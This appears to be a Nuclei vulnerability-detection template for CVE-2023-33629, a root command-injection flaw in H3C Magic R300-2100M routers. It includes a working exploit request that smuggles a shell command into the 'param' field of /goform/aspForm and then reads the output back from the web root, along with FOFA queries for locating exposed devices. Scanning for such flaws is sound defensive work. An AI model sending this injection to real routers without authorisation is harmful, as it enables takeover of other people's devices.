H3C Magic R300-2100M - Remote Code Execution

id: CVE-2023-33629

info:
  name: H3C Magic R300-2100M - Remote Code Execution
  author: DhiyaneshDK
  severity: high
  description: |
    H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.
  impact: |
    Authenticated high-privilege attackers can exploit stack overflow through command injection in the DelL2tpLNSList parameter to execute arbitrary commands on the H3C Magic R300 router with root privileges.
  remediation: |
    Update H3C Magic R300-2100M firmware to a version newer than R300-2100MV100R004 that properly validates input in the DeltriggerList interface at /goform/aspForm.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33629
    - https://hackmd.io/@0dayResearch/r1UjggZfh
    - https://hackmd.io/%400dayResearch/r1UjggZfh
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-33629
    cwe-id: CWE-787
    epss-score: 0.04353
    epss-percentile: 0.90052
    cpe: cpe:2.3:o:h3c:magic_r300-2100m_firmware:r300-2100mv100r004:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: h3c
    product: magic_r300-2100m_firmware
    fofa-query:
      - app="H3C-Ent-Router"
      - app="h3c-ent-router"
  tags: cve2023,cve,router,rce,h3c,vkev,vuln
variables:
  filename: "{{to_lower(rand_text_alpha(7))}}"

http:
  - raw:
      - |
        POST /goform/aspForm HTTP/1.1
        Host: {{Hostname}}

        CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1; $(ls>/www/{{filename}});
      - |
        GET /{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 302
          - contains(body_1, 'do_cmd.asp')
          - status_code_2 == 200
          - contains_all(body_2, 'www', 'www_multi')
        condition: and
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